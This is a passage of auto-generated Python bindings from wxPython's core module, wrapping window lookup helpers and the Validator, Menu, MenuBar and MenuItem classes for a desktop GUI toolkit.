for converting a Point or (x,y) in\n dialog units to pixel units.\n \"\"\"\n if y is None:\n return win.ConvertDialogPointToPixels(point_or_x)\n else:\n return win.ConvertDialogPointToPixels(wx.Point(point_or_x, y))\n\ndef DLG_SZE(win, size_width, height=None):\n \"\"\"\n Convenience function for converting a Size or (w,h) in\n dialog units to pixel units.\n \"\"\"\n if height is None:\n return win.ConvertDialogSizeToPixels(size_width)\n else:\n return win.ConvertDialogSizeToPixels(wx.Size(size_width, height))\n\n\ndef FindWindowById(*args, **kwargs):\n \"\"\"\n FindWindowById(long id, Window parent=None) -> Window\n\n Find the first window in the application with the given id. If parent\n is None, the search will start from all top-level frames and dialog\n boxes; if non-None, the search will be limited to the given window\n hierarchy. The search is recursive in both cases.\n \"\"\"\n return _core_.FindWindowById(*args, **kwargs)\n\ndef FindWindowByName(*args, **kwargs):\n \"\"\"\n FindWindowByName(String name, Window parent=None) -> Window\n\n Find a window by its name (as given in a window constructor or Create\n function call). If parent is None, the search will start from all\n top-level frames and dialog boxes; if non-None, the search will be\n limited to the given window hierarchy. The search is recursive in both\n cases.\n\n If no window with such name is found, wx.FindWindowByLabel is called.\n \"\"\"\n return _core_.FindWindowByName(*args, **kwargs)\n\ndef FindWindowByLabel(*args, **kwargs):\n \"\"\"\n FindWindowByLabel(String label, Window parent=None) -> Window\n\n Find a window by its label. Depending on the type of window, the label\n may be a window title or panel item label. If parent is None, the\n search will start from all top-level frames and dialog boxes; if\n non-None, the search will be limited to the given window\n hierarchy. The search is recursive in both cases.\n \"\"\"\n return _core_.FindWindowByLabel(*args, **kwargs)\n\ndef Window_FromHWND(*args, **kwargs):\n \"\"\"Window_FromHWND(Window parent, unsigned long _hWnd) -> Window\"\"\"\n return _core_.Window_FromHWND(*args, **kwargs)\n\ndef GetTopLevelWindows(*args):\n \"\"\"\n GetTopLevelWindows() -> WindowList\n\n Returns a list-like object of the the application's top-level windows, (frames,\n dialogs, etc.)\n \"\"\"\n return _core_.GetTopLevelWindows(*args)\nclass FrozenWindow(object):\n \"\"\"\n A context manager to be used with Python 'with' statements\n that will freeze the given window for the duration of the\n with block.\n \"\"\"\n def __init__(self, window):\n self._win = window\n def __enter__(self):\n self._win.Freeze()\n return self\n def __exit__(self, exc_type, exc_val, exc_tb):\n self._win.Thaw()\n\n#---------------------------------------------------------------------------\n\nclass Validator(EvtHandler):\n \"\"\"Proxy of C++ Validator class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> Validator\"\"\"\n _core_.Validator_swiginit(self,_core_.new_Validator(*args, **kwargs))\n self._setOORInfo(self)\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> Validator\"\"\"\n return _core_.Validator_Clone(*args, **kwargs)\n\n def Validate(*args, **kwargs):\n \"\"\"Validate(self, Window parent) -> bool\"\"\"\n return _core_.Validator_Validate(*args, **kwargs)\n\n def TransferToWindow(*args, **kwargs):\n \"\"\"TransferToWindow(self) -> bool\"\"\"\n return _core_.Validator_TransferToWindow(*args, **kwargs)\n\n def TransferFromWindow(*args, **kwargs):\n \"\"\"TransferFromWindow(self) -> bool\"\"\"\n return _core_.Validator_TransferFromWindow(*args, **kwargs)\n\n def GetWindow(*args, **kwargs):\n \"\"\"GetWindow(self) -> Window\"\"\"\n return _core_.Validator_GetWindow(*args, **kwargs)\n\n def SetWindow(*args, **kwargs):\n \"\"\"SetWindow(self, Window window)\"\"\"\n return _core_.Validator_SetWindow(*args, **kwargs)\n\n def IsSilent(*args, **kwargs):\n \"\"\"IsSilent() -> bool\"\"\"\n return _core_.Validator_IsSilent(*args, **kwargs)\n\n IsSilent = staticmethod(IsSilent)\n def SetBellOnError(*args, **kwargs):\n \"\"\"SetBellOnError(int doIt=True)\"\"\"\n return _core_.Validator_SetBellOnError(*args, **kwargs)\n\n SetBellOnError = staticmethod(SetBellOnError)\n Window = property(GetWindow,SetWindow,doc=\"See `GetWindow` and `SetWindow`\") \n_core_.Validator_swigregister(Validator)\n\ndef Validator_IsSilent(*args):\n \"\"\"Validator_IsSilent() -> bool\"\"\"\n return _core_.Validator_IsSilent(*args)\n\ndef Validator_SetBellOnError(*args, **kwargs):\n \"\"\"Validator_SetBellOnError(int doIt=True)\"\"\"\n return _core_.Validator_SetBellOnError(*args, **kwargs)\n\nclass PyValidator(Validator):\n \"\"\"Proxy of C++ PyValidator class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> PyValidator\"\"\"\n _core_.PyValidator_swiginit(self,_core_.new_PyValidator(*args, **kwargs))\n self._setOORInfo(self);PyValidator._setCallbackInfo(self, self, PyValidator)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class, int incref=1)\"\"\"\n return _core_.PyValidator__setCallbackInfo(*args, **kwargs)\n\n_core_.PyValidator_swigregister(PyValidator)\n\n#---------------------------------------------------------------------------\n\nclass MenuItemList_iterator(object):\n \"\"\"This class serves as an iterator for a wxMenuItemList object.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_MenuItemList_iterator\n __del__ = lambda self : None;\n def next(*args, **kwargs):\n \"\"\"next(self) -> MenuItem\"\"\"\n return _core_.MenuItemList_iterator_next(*args, **kwargs)\n\n_core_.MenuItemList_iterator_swigregister(MenuItemList_iterator)\nDefaultValidator = cvar.DefaultValidator\n\nclass MenuItemList(object):\n \"\"\"\n This class wraps a wxList-based class and gives it a Python\n sequence-like interface. Sequence operations supported are length,\n index access and iteration.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_MenuItemList\n __del__ = lambda self : None;\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> size_t\"\"\"\n return _core_.MenuItemList___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, size_t index) -> MenuItem\"\"\"\n return _core_.MenuItemList___getitem__(*args, **kwargs)\n\n def __contains__(*args, **kwargs):\n \"\"\"__contains__(self, MenuItem obj) -> bool\"\"\"\n return _core_.MenuItemList___contains__(*args, **kwargs)\n\n def __iter__(*args, **kwargs):\n \"\"\"__iter__(self) -> MenuItemList_iterator\"\"\"\n return _core_.MenuItemList___iter__(*args, **kwargs)\n\n def index(*args, **kwargs):\n \"\"\"index(self, MenuItem obj) -> int\"\"\"\n return _core_.MenuItemList_index(*args, **kwargs)\n\n def __repr__(self):\n return \"wxMenuItemList: \" + repr(list(self))\n\n_core_.MenuItemList_swigregister(MenuItemList)\n\nclass Menu(EvtHandler):\n \"\"\"Proxy of C++ Menu class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String title=EmptyString, long style=0) -> Menu\"\"\"\n _core_.Menu_swiginit(self,_core_.new_Menu(*args, **kwargs))\n self._setOORInfo(self)\n\n def Append(*args, **kwargs):\n \"\"\"\n Append(self, int id, String text=EmptyString, String help=EmptyString, \n int kind=ITEM_NORMAL) -> MenuItem\n \"\"\"\n return _core_.Menu_Append(*args, **kwargs)\n\n def AppendSeparator(*args, **kwargs):\n \"\"\"AppendSeparator(self) -> MenuItem\"\"\"\n return _core_.Menu_AppendSeparator(*args, **kwargs)\n\n def AppendCheckItem(*args, **kwargs):\n \"\"\"AppendCheckItem(self, int id, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_AppendCheckItem(*args, **kwargs)\n\n def AppendRadioItem(*args, **kwargs):\n \"\"\"AppendRadioItem(self, int id, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_AppendRadioItem(*args, **kwargs)\n\n def AppendMenu(*args, **kwargs):\n \"\"\"AppendMenu(self, int id, String text, Menu submenu, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_AppendMenu(*args, **kwargs)\n\n def AppendSubMenu(*args, **kwargs):\n \"\"\"AppendSubMenu(self, Menu submenu, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_AppendSubMenu(*args, **kwargs)\n\n def AppendItem(*args, **kwargs):\n \"\"\"AppendItem(self, MenuItem item) -> MenuItem\"\"\"\n return _core_.Menu_AppendItem(*args, **kwargs)\n\n def InsertItem(*args, **kwargs):\n \"\"\"InsertItem(self, size_t pos, MenuItem item) -> MenuItem\"\"\"\n return _core_.Menu_InsertItem(*args, **kwargs)\n\n def PrependItem(*args, **kwargs):\n \"\"\"PrependItem(self, MenuItem item) -> MenuItem\"\"\"\n return _core_.Menu_PrependItem(*args, **kwargs)\n\n def Break(*args, **kwargs):\n \"\"\"Break(self)\"\"\"\n return _core_.Menu_Break(*args, **kwargs)\n\n def Insert(*args, **kwargs):\n \"\"\"\n Insert(self, size_t pos, int id, String text=EmptyString, String help=EmptyString, \n int kind=ITEM_NORMAL) -> MenuItem\n \"\"\"\n return _core_.Menu_Insert(*args, **kwargs)\n\n def InsertSeparator(*args, **kwargs):\n \"\"\"InsertSeparator(self, size_t pos) -> MenuItem\"\"\"\n return _core_.Menu_InsertSeparator(*args, **kwargs)\n\n def InsertCheckItem(*args, **kwargs):\n \"\"\"InsertCheckItem(self, size_t pos, int id, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_InsertCheckItem(*args, **kwargs)\n\n def InsertRadioItem(*args, **kwargs):\n \"\"\"InsertRadioItem(self, size_t pos, int id, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_InsertRadioItem(*args, **kwargs)\n\n def InsertMenu(*args, **kwargs):\n \"\"\"InsertMenu(self, size_t pos, int id, String text, Menu submenu, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_InsertMenu(*args, **kwargs)\n\n def Prepend(*args, **kwargs):\n \"\"\"\n Prepend(self, int id, String text=EmptyString, String help=EmptyString, \n int kind=ITEM_NORMAL) -> MenuItem\n \"\"\"\n return _core_.Menu_Prepend(*args, **kwargs)\n\n def PrependSeparator(*args, **kwargs):\n \"\"\"PrependSeparator(self) -> MenuItem\"\"\"\n return _core_.Menu_PrependSeparator(*args, **kwargs)\n\n def PrependCheckItem(*args, **kwargs):\n \"\"\"PrependCheckItem(self, int id, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_PrependCheckItem(*args, **kwargs)\n\n def PrependRadioItem(*args, **kwargs):\n \"\"\"PrependRadioItem(self, int id, String text, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_PrependRadioItem(*args, **kwargs)\n\n def PrependMenu(*args, **kwargs):\n \"\"\"PrependMenu(self, int id, String text, Menu submenu, String help=EmptyString) -> MenuItem\"\"\"\n return _core_.Menu_PrependMenu(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"Remove(self, int id) -> MenuItem\"\"\"\n return _core_.Menu_Remove(*args, **kwargs)\n\n def RemoveItem(self, item):\n \"\"\"RemoveItem(self, MenuItem item) -> MenuItem\"\"\"\n #// The return object is always the parameter, so return that \n #// proxy instead of the new one\n val = _core_.Menu_RemoveItem(self, item)\n item.this.own(val.this.own())\n val.this.disown()\n return item\n\n\n def Delete(*args, **kwargs):\n \"\"\"Delete(self, int id) -> bool\"\"\"\n return _core_.Menu_Delete(*args, **kwargs)\n\n def DeleteItem(*args, **kwargs):\n \"\"\"DeleteItem(self, MenuItem item) -> bool\"\"\"\n return _core_.Menu_DeleteItem(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"\n Destroy(self)\n\n Deletes the C++ object this Python object is a proxy for.\n \"\"\"\n args[0].this.own(False)\n return _core_.Menu_Destroy(*args, **kwargs)\n\n def DestroyId(*args, **kwargs):\n \"\"\"DestroyId(self, int id) -> bool\"\"\"\n return _core_.Menu_DestroyId(*args, **kwargs)\n\n def DestroyItem(*args, **kwargs):\n \"\"\"DestroyItem(self, MenuItem item) -> bool\"\"\"\n return _core_.Menu_DestroyItem(*args, **kwargs)\n\n def GetMenuItemCount(*args, **kwargs):\n \"\"\"GetMenuItemCount(self) -> size_t\"\"\"\n return _core_.Menu_GetMenuItemCount(*args, **kwargs)\n\n def GetMenuItems(*args, **kwargs):\n \"\"\"GetMenuItems(self) -> MenuItemList\"\"\"\n return _core_.Menu_GetMenuItems(*args, **kwargs)\n\n def FindItem(*args, **kwargs):\n \"\"\"FindItem(self, String item) -> int\"\"\"\n return _core_.Menu_FindItem(*args, **kwargs)\n\n def FindItemById(*args, **kwargs):\n \"\"\"FindItemById(self, int id) -> MenuItem\"\"\"\n return _core_.Menu_FindItemById(*args, **kwargs)\n\n def FindItemByPosition(*args, **kwargs):\n \"\"\"FindItemByPosition(self, size_t position) -> MenuItem\"\"\"\n return _core_.Menu_FindItemByPosition(*args, **kwargs)\n\n def Enable(*args, **kwargs):\n \"\"\"Enable(self, int id, bool enable)\"\"\"\n return _core_.Menu_Enable(*args, **kwargs)\n\n def IsEnabled(*args, **kwargs):\n \"\"\"IsEnabled(self, int id) -> bool\"\"\"\n return _core_.Menu_IsEnabled(*args, **kwargs)\n\n def Check(*args, **kwargs):\n \"\"\"Check(self, int id, bool check)\"\"\"\n return _core_.Menu_Check(*args, **kwargs)\n\n def IsChecked(*args, **kwargs):\n \"\"\"IsChecked(self, int id) -> bool\"\"\"\n return _core_.Menu_IsChecked(*args, **kwargs)\n\n def SetLabel(*args, **kwargs):\n \"\"\"SetLabel(self, int id, String label)\"\"\"\n return _core_.Menu_SetLabel(*args, **kwargs)\n\n def GetLabel(*args, **kwargs):\n \"\"\"GetLabel(self, int id) -> String\"\"\"\n return _core_.Menu_GetLabel(*args, **kwargs)\n\n def SetHelpString(*args, **kwargs):\n \"\"\"SetHelpString(self, int id, String helpString)\"\"\"\n return _core_.Menu_SetHelpString(*args, **kwargs)\n\n def GetHelpString(*args, **kwargs):\n \"\"\"GetHelpString(self, int id) -> String\"\"\"\n return _core_.Menu_GetHelpString(*args, **kwargs)\n\n def SetTitle(*args, **kwargs):\n \"\"\"SetTitle(self, String title)\"\"\"\n return _core_.Menu_SetTitle(*args, **kwargs)\n\n def GetTitle(*args, **kwargs):\n \"\"\"GetTitle(self) -> String\"\"\"\n return _core_.Menu_GetTitle(*args, **kwargs)\n\n def SetEventHandler(*args, **kwargs):\n \"\"\"SetEventHandler(self, EvtHandler handler)\"\"\"\n return _core_.Menu_SetEventHandler(*args, **kwargs)\n\n def GetEventHandler(*args, **kwargs):\n \"\"\"GetEventHandler(self) -> EvtHandler\"\"\"\n return _core_.Menu_GetEventHandler(*args, **kwargs)\n\n def SetInvokingWindow(*args, **kwargs):\n \"\"\"SetInvokingWindow(self, Window win)\"\"\"\n return _core_.Menu_SetInvokingWindow(*args, **kwargs)\n\n def GetInvokingWindow(*args, **kwargs):\n \"\"\"GetInvokingWindow(self) -> Window\"\"\"\n return _core_.Menu_GetInvokingWindow(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"GetStyle(self) -> long\"\"\"\n return _core_.Menu_GetStyle(*args, **kwargs)\n\n def UpdateUI(*args, **kwargs):\n \"\"\"UpdateUI(self, EvtHandler source=None)\"\"\"\n return _core_.Menu_UpdateUI(*args, **kwargs)\n\n def GetMenuBar(*args, **kwargs):\n \"\"\"GetMenuBar(self) -> MenuBar\"\"\"\n return _core_.Menu_GetMenuBar(*args, **kwargs)\n\n def Attach(*args, **kwargs):\n \"\"\"Attach(self, wxMenuBarBase menubar)\"\"\"\n return _core_.Menu_Attach(*args, **kwargs)\n\n def Detach(*args, **kwargs):\n \"\"\"Detach(self)\"\"\"\n return _core_.Menu_Detach(*args, **kwargs)\n\n def IsAttached(*args, **kwargs):\n \"\"\"IsAttached(self) -> bool\"\"\"\n return _core_.Menu_IsAttached(*args, **kwargs)\n\n def SetParent(*args, **kwargs):\n \"\"\"SetParent(self, Menu parent)\"\"\"\n return _core_.Menu_SetParent(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"GetParent(self) -> Menu\"\"\"\n return _core_.Menu_GetParent(*args, **kwargs)\n\n def GetLabelText(*args, **kwargs):\n \"\"\"GetLabelText(self, int itemid) -> String\"\"\"\n return _core_.Menu_GetLabelText(*args, **kwargs)\n\n EventHandler = property(GetEventHandler,SetEventHandler,doc=\"See `GetEventHandler` and `SetEventHandler`\") \n HelpString = property(GetHelpString,SetHelpString,doc=\"See `GetHelpString` and `SetHelpString`\") \n InvokingWindow = property(GetInvokingWindow,SetInvokingWindow,doc=\"See `GetInvokingWindow` and `SetInvokingWindow`\") \n MenuBar = property(GetMenuBar,doc=\"See `GetMenuBar`\") \n MenuItemCount = property(GetMenuItemCount,doc=\"See `GetMenuItemCount`\") \n MenuItems = property(GetMenuItems,doc=\"See `GetMenuItems`\") \n Parent = property(GetParent,SetParent,doc=\"See `GetParent` and `SetParent`\") \n Style = property(GetStyle,doc=\"See `GetStyle`\") \n Title = property(GetTitle,SetTitle,doc=\"See `GetTitle` and `SetTitle`\") \n_core_.Menu_swigregister(Menu)\n\n#---------------------------------------------------------------------------\n\nclass MenuBar(Window):\n \"\"\"Proxy of C++ MenuBar class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, long style=0) -> MenuBar\"\"\"\n _core_.MenuBar_swiginit(self,_core_.new_MenuBar(*args, **kwargs))\n self._setOORInfo(self)\n\n def Append(*args, **kwargs):\n \"\"\"Append(self, Menu menu, String title) -> bool\"\"\"\n return _core_.MenuBar_Append(*args, **kwargs)\n\n def Insert(*args, **kwargs):\n \"\"\"Insert(self, size_t pos, Menu menu, String title) -> bool\"\"\"\n return _core_.MenuBar_Insert(*args, **kwargs)\n\n def GetMenuCount(*args, **kwargs):\n \"\"\"GetMenuCount(self) -> size_t\"\"\"\n return _core_.MenuBar_GetMenuCount(*args, **kwargs)\n\n def GetMenu(*args, **kwargs):\n \"\"\"GetMenu(self, size_t pos) -> Menu\"\"\"\n return _core_.MenuBar_GetMenu(*args, **kwargs)\n\n def Replace(*args, **kwargs):\n \"\"\"Replace(self, size_t pos, Menu menu, String title) -> Menu\"\"\"\n return _core_.MenuBar_Replace(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"Remove(self, size_t pos) -> Menu\"\"\"\n return _core_.MenuBar_Remove(*args, **kwargs)\n\n def EnableTop(*args, **kwargs):\n \"\"\"EnableTop(self, size_t pos, bool enable)\"\"\"\n return _core_.MenuBar_EnableTop(*args, **kwargs)\n\n def IsEnabledTop(*args, **kwargs):\n \"\"\"IsEnabledTop(self, size_t pos) -> bool\"\"\"\n return _core_.MenuBar_IsEnabledTop(*args, **kwargs)\n\n def SetLabelTop(*args, **kwargs):\n \"\"\"SetLabelTop(self, size_t pos, String label)\"\"\"\n return _core_.MenuBar_SetLabelTop(*args, **kwargs)\n\n def GetLabelTop(*args, **kwargs):\n \"\"\"GetLabelTop(self, size_t pos) -> String\"\"\"\n return _core_.MenuBar_GetLabelTop(*args, **kwargs)\n\n def FindMenuItem(*args, **kwargs):\n \"\"\"FindMenuItem(self, String menu, String item) -> int\"\"\"\n return _core_.MenuBar_FindMenuItem(*args, **kwargs)\n\n def FindItemById(*args, **kwargs):\n \"\"\"FindItemById(self, int id) -> MenuItem\"\"\"\n return _core_.MenuBar_FindItemById(*args, **kwargs)\n\n def FindMenu(*args, **kwargs):\n \"\"\"FindMenu(self, String title) -> int\"\"\"\n return _core_.MenuBar_FindMenu(*args, **kwargs)\n\n def Enable(*args, **kwargs):\n \"\"\"Enable(self, int id, bool enable)\"\"\"\n return _core_.MenuBar_Enable(*args, **kwargs)\n\n def Check(*args, **kwargs):\n \"\"\"Check(self, int id, bool check)\"\"\"\n return _core_.MenuBar_Check(*args, **kwargs)\n\n def IsChecked(*args, **kwargs):\n \"\"\"IsChecked(self, int id) -> bool\"\"\"\n return _core_.MenuBar_IsChecked(*args, **kwargs)\n\n def IsEnabled(*args, **kwargs):\n \"\"\"IsEnabled(self, int id) -> bool\"\"\"\n return _core_.MenuBar_IsEnabled(*args, **kwargs)\n\n def SetLabel(*args, **kwargs):\n \"\"\"SetLabel(self, int id, String label)\"\"\"\n return _core_.MenuBar_SetLabel(*args, **kwargs)\n\n def GetLabel(*args, **kwargs):\n \"\"\"GetLabel(self, int id) -> String\"\"\"\n return _core_.MenuBar_GetLabel(*args, **kwargs)\n\n def SetHelpString(*args, **kwargs):\n \"\"\"SetHelpString(self, int id, String helpString)\"\"\"\n return _core_.MenuBar_SetHelpString(*args, **kwargs)\n\n def GetHelpString(*args, **kwargs):\n \"\"\"GetHelpString(self, int id) -> String\"\"\"\n return _core_.MenuBar_GetHelpString(*args, **kwargs)\n\n def GetFrame(*args, **kwargs):\n \"\"\"GetFrame(self) -> wxFrame\"\"\"\n return _core_.MenuBar_GetFrame(*args, **kwargs)\n\n def IsAttached(*args, **kwargs):\n \"\"\"IsAttached(self) -> bool\"\"\"\n return _core_.MenuBar_IsAttached(*args, **kwargs)\n\n def Attach(*args, **kwargs):\n \"\"\"Attach(self, wxFrame frame)\"\"\"\n return _core_.MenuBar_Attach(*args, **kwargs)\n\n def Detach(*args, **kwargs):\n \"\"\"Detach(self)\"\"\"\n return _core_.MenuBar_Detach(*args, **kwargs)\n\n def UpdateMenus(*args, **kwargs):\n \"\"\"UpdateMenus(self)\"\"\"\n return _core_.MenuBar_UpdateMenus(*args, **kwargs)\n\n def SetAutoWindowMenu(*args, **kwargs):\n \"\"\"SetAutoWindowMenu(bool enable)\"\"\"\n return _core_.MenuBar_SetAutoWindowMenu(*args, **kwargs)\n\n SetAutoWindowMenu = staticmethod(SetAutoWindowMenu)\n def GetAutoWindowMenu(*args, **kwargs):\n \"\"\"GetAutoWindowMenu() -> bool\"\"\"\n return _core_.MenuBar_GetAutoWindowMenu(*args, **kwargs)\n\n GetAutoWindowMenu = staticmethod(GetAutoWindowMenu)\n def MacSetCommonMenuBar(*args, **kwargs):\n \"\"\"MacSetCommonMenuBar(MenuBar menubar)\"\"\"\n return _core_.MenuBar_MacSetCommonMenuBar(*args, **kwargs)\n\n MacSetCommonMenuBar = staticmethod(MacSetCommonMenuBar)\n def GetMenuLabel(*args, **kwargs):\n \"\"\"GetMenuLabel(self, size_t pos) -> String\"\"\"\n return _core_.MenuBar_GetMenuLabel(*args, **kwargs)\n\n def SetMenuLabel(*args, **kwargs):\n \"\"\"SetMenuLabel(self, size_t pos, String label)\"\"\"\n return _core_.MenuBar_SetMenuLabel(*args, **kwargs)\n\n def GetMenuLabelText(*args, **kwargs):\n \"\"\"GetMenuLabelText(self, size_t pos) -> String\"\"\"\n return _core_.MenuBar_GetMenuLabelText(*args, **kwargs)\n\n def GetMenus(self):\n \"\"\"Return a list of (menu, label) items for the menus in the MenuBar. \"\"\"\n return [(self.GetMenu(i), self.GetLabelTop(i)) \n for i in range(self.GetMenuCount())]\n \n def SetMenus(self, items):\n \"\"\"Clear and add new menus to the MenuBar from a list of (menu, label) items. \"\"\"\n for i in range(self.GetMenuCount()-1, -1, -1):\n self.Remove(i)\n for m, l in items:\n self.Append(m, l)\n\n Frame = property(GetFrame,doc=\"See `GetFrame`\") \n MenuCount = property(GetMenuCount,doc=\"See `GetMenuCount`\") \n Menus = property(GetMenus,SetMenus,doc=\"See `GetMenus` and `SetMenus`\") \n_core_.MenuBar_swigregister(MenuBar)\n\ndef MenuBar_SetAutoWindowMenu(*args, **kwargs):\n \"\"\"MenuBar_SetAutoWindowMenu(bool enable)\"\"\"\n return _core_.MenuBar_SetAutoWindowMenu(*args, **kwargs)\n\ndef MenuBar_GetAutoWindowMenu(*args):\n \"\"\"MenuBar_GetAutoWindowMenu() -> bool\"\"\"\n return _core_.MenuBar_GetAutoWindowMenu(*args)\n\ndef MenuBar_MacSetCommonMenuBar(*args, **kwargs):\n \"\"\"MenuBar_MacSetCommonMenuBar(MenuBar menubar)\"\"\"\n return _core_.MenuBar_MacSetCommonMenuBar(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass MenuItem(Object):\n \"\"\"Proxy of C++ MenuItem class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Menu parentMenu=None, int id=ID_SEPARATOR, String text=EmptyString, \n String help=EmptyString, int kind=ITEM_NORMAL, \n Menu subMenu=None) -> MenuItem\n \"\"\"\n _core_.MenuItem_swiginit(self,_core_.new_MenuItem(*args, **kwargs))\n __swig_destroy__ = _core_.delete_MenuItem\n __del__ = lambda self : None;\n def Destroy(self): pass \n def GetMenu(*args, **kwargs):\n \"\"\"GetMenu(self) -> Menu\"\"\"\n return _core_.MenuItem_GetMenu(*args, **kwargs)\n\n def SetMenu(*args, **kwargs):\n \"\"\"SetMenu(self, Menu menu)\"\"\"\n return _core_.MenuItem_SetMenu(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"SetId(self, int id)\"\"\"\n return _core_.MenuItem_SetId(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"GetId(self) -> int\"\"\"\n return _core_.MenuItem_GetId(*args, **kwargs)\n\n def IsSeparator(*args, **kwargs):\n \"\"\"IsSeparator(self) -> bool\"\"\"\n return _core_.MenuItem_IsSeparator(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"SetText(self, String str)\"\"\"\n return _core_.MenuItem_SetText(*args, **kwargs)\n\n def GetLabel(*args, **kwargs):\n \"\"\"GetLabel(self) -> String\"\"\"\n return _core_.MenuItem_GetLabel(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self) -> String\"\"\"\n return _core_.MenuItem_GetText(*args, **kwargs)\n\n def GetLabelFromText(*args, **kwargs):\n \"\"\"GetLabelFromText(String text) -> String\"\"\"\n return _core_.MenuItem_GetLabelFromText(*args, **kwargs)\n\n GetLabelFromText = staticmethod(GetLabelFromText)\n def GetKind(*args, **kwargs):\n \"\"\"GetKind(self) -> int\"\"\"\n return _core_.MenuItem_GetKind(*args, **kwargs)\n\n def SetKind(*args, **kwargs):\n \"\"\"SetKind(self, int kind)\"\"\"\n return _core_.MenuItem_SetKind(*args, **kwargs)\n\n def SetCheckable(*args, **kwargs):\n \"\"\"SetCheckable(self, bool checkable)\"\"\"\n return _core_.MenuItem_SetCheckable(*args, **kwargs)\n\n def IsCheckable(*args, **kwargs):\n \"\"\"IsCheckable(self) -> bool\"\"\"\n return _core_.MenuItem_IsCheckable(*args, **kwargs)\n\n def IsSubMenu(*args, **kwargs):\n \"\"\"IsSubMenu(self) -> bool\"\"\"\n return _core_.MenuItem_IsSubMenu(*args, **kwargs)\n\n def SetSubMenu(*args, **kwargs):\n \"\"\"SetSubMenu(self, Menu menu)\"\"\"\n return _core_.MenuItem_SetSubMenu(*args, **kwargs)\n\n def GetSubMenu(*args, **kwargs):\n \"\"\"GetSubMenu(self) -> Menu\"\"\"\n return _core_.MenuItem_GetSubMenu(*args, **kwargs)\n\n def Enable(*args, **kwargs):\n \"\"\"Enable(self, bool enable=True)\"\"\"\n return _core_.MenuItem_Enable(*args, **kwargs)\n\n def IsEnabled(*args, **kwargs):\n \"\"\"IsEnabled(self) -> bool\"\"\"\n return _core_.MenuItem_IsEnabled(*args, **kwargs)\n\n def Check(*args, **kwargs):\n \"\"\"Check(self, bool check=True)\"\"\"\n return _core_.MenuItem_Check(*args, **kwargs)\n\n def IsChecked(*args, **kwargs):\n \"\"\"IsChecked(self) -> bool\"\"\"\n return _core_.MenuItem_IsChecked(*args, **kwargs)\n\n def Toggle(*args, **kwargs):\n \"\"\"Toggle(self)\"\"\"\n return _core_.MenuItem_Toggle(*args, **kwargs)\n\n def SetHelp(*args, **kwargs):\n \"\"\"SetHelp(self, String str)\"\"\"\n return _core_.MenuItem_SetHelp(*args, **kwargs)\n\n def GetHelp(*args, **kwargs):\n \"\"\"GetHelp(self) -> String\"\"\"\n return _core_.MenuItem_GetHelp(*args, **kwargs)\n\n def GetAccel(*args, **kwargs):\n \"\"\"GetAccel(self) -> AcceleratorEntry\"\"\"\n return _core_.MenuItem_GetAccel(*args, **kwargs)\n\n def SetAccel(*args, **kwargs):\n \"\"\"SetAccel(self, AcceleratorEntry accel)\"\"\"\n return _core_.MenuItem_SetAccel(*args, **kwargs)\n\n def SetBitmap(*args, **kwargs):\n \"\"\"SetBitmap(self, Bitmap bitmap)\"\"\"\n return _core_.MenuItem_SetBitmap(*args, **kwargs)\n\n def GetBitmap(*args, **kwargs):\n \"\"\"GetBitmap(self) -> Bitmap\"\"\"\n return _core_.MenuItem_GetBitmap(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font font)\"\"\"\n return _core_.MenuItem_SetFont(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _core_.MenuItem_GetFont(*args, **kwargs)\n\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour colText)\"\"\"\n return _core_.MenuItem_SetTextColour(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n 